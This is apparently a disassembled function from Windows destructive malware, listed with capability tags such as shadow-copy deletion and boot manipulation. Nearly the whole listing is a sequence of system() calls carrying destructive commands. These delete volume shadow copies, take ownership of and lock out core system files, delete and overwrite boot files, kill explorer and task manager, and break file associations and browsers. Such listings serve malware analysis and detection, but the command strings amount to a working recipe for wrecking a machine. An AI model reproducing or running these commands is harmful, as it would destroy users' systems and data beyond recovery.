Function at 0x4014f0
Capabilities:
Delete volume shadow copies
Execute command
Hide graphical window
Manipulate boot configuration
Self delete

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call fcn.00408cf0
mov dword [esp], str.vssadmin_delete_Shadows__all__quiet
call sub.msvcrt.dll_system
mov eax, dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
call eax
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp], str.takeown__f__systemroot__system32
call sub.msvcrt.dll_system
mov dword [esp], str.assoc_.exeexe
call sub.msvcrt.dll_system
mov dword [esp], str.assoc_.lnklnk
call sub.msvcrt.dll_system
mov dword [esp], str.assoc_.jpgjpg
call sub.msvcrt.dll_system
mov dword [esp], str.assoc_.comcom
call sub.msvcrt.dll_system
mov dword [esp], str.assoc_.msimsi
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__homedrive__bootmgr
call sub.msvcrt.dll_system
mov dword [esp], str.del__homedrive__ntldr__f__q__a:S
call sub.msvcrt.dll_system
mov dword [esp], str.del__homedrive_NTDETECT.COM__f__q__a:S
call sub.msvcrt.dll_system
mov dword [esp], str.del__homedrive__boot.ini__f__q__a:S
call sub.msvcrt.dll_system
mov dword [esp], str.taskkill__f__im_explorer.exe
call sub.msvcrt.dll_system
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sub.msvcrt.dll_system
mov dword [esp], str.taskkill__f__im_iexplore.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f___ProgramFiles_Internet_Exploreriexplore.exe_
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32LogonUI.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot_explorer.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32_services.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32_basesrv.dll
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32_smss.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32csrss.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32lsass.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32_ntkrnlpa.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32dwm.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32lsm.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32KernelBase.dll
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32kernel32.dll
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32wininit.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32hal.dll
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32_svchost.exe
call sub.msvcrt.dll_system
mov dword [esp], str.takeown__f__systemroot__system32Taskmgr.exe
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__homedrive__bootmgr__e__c__g_Everyone:F
call sub.msvcrt.dll_system
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32LogonUI.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls___ProgramFiles_Internet_Exploreriexplore.exe___e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot_explorer.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32_services.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32_ntkrnlpa.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32lsm.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32KernelBase.dll__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32wininit.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32hal.dll__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32lsass.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32csrss.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32_basesrv.dll__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32dwm.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32_smss.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32Taskmgr.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32_svchost.exe__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32kernel32.dll__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.attrib__s__h__r__homedrive__bootmgr
call sub.msvcrt.dll_system
mov dword [esp], str.copy__systemroot_explorer.exe__homedrive__bootmgr__Y
call sub.msvcrt.dll_system
mov dword [esp], str.del__userprofile_AppDataLocalGoogleChromeApplicationchrome.exe__q
call sub.msvcrt.dll_system
mov dword [esp], str.del__homedrive_PROGRA1MOZILL1_firefox.exe__q
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__homedrive__bootmgr__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.cacls__systemroot__system32__t__e__c__d_Everyone
call sub.msvcrt.dll_system
mov dword [esp], str.makecab__homedrive__bootmgr__homedrive__bootmgr
call sub.msvcrt.dll_system
mov dword [esp], str.makecab__homedrive__ntldr__homedrive__ntldr
call sub.msvcrt.dll_system
mov dword [esp], str.makecab__homedrive_NTDETECT.COM__homedrive_NTDETECT.COM
call sub.msvcrt.dll_system
mov dword [esp], str.makecab__homedrive__boot.ini__homedrive__boot.ini
call sub.msvcrt.dll_system
mov dword [esp], 0x1388
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
call eax
sub esp, 4
mov dword [esp], str.taskkill__f__fi__username_ne_xyz_
call sub.msvcrt.dll_system
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret